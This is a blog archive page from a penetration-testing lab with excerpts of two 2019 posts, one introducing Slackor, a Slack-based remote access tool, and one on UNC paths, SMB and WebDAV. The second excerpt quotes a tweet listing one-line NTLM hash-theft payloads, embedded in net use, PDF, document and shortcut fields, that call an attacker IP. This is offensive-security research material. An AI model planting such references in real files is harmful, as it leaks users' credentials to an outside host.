Month: <span>June 2019</span>

Introducing Slackor, a Remote Access Tool Using Slack as a C2 Channel

June 19, 2019
PentestingpersistencePost ExploitationResearch
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As a penetration tester at Coalfire Labs, I frequently use exploitation frameworks such as Metasploit or PowerShell Empire to perform post-exploitation actions on compromised endpoints. While anti-virus (AV) bypass and detection avoidance is often trivial in all but the most mature environments, detections from AV have caused me to look toward custom tooling to mitigate…

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Understanding UNC paths, SMB, and WebDAV

June 6, 2019
PentestingResearch
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While browsing Twitter recently I came upon a tweet that I found to be very interesting: Did know that u can steal #NetNTLMv2 by changing #SMB port to bypass sec-things: net use \\1.2.3.4@80\tor pdf : /F (\\\\IP@80\\t)or dubdoc : ///IP@80/tor doc: Target="file://IP@80/t.dotx"or lnk: URL=file://IP@80/t.htmor: IconFile=\\IP@80\t.ico#RedTeam #NTLM cc @ddouhine — V (@mynameisv__) April 30, 2019 I…

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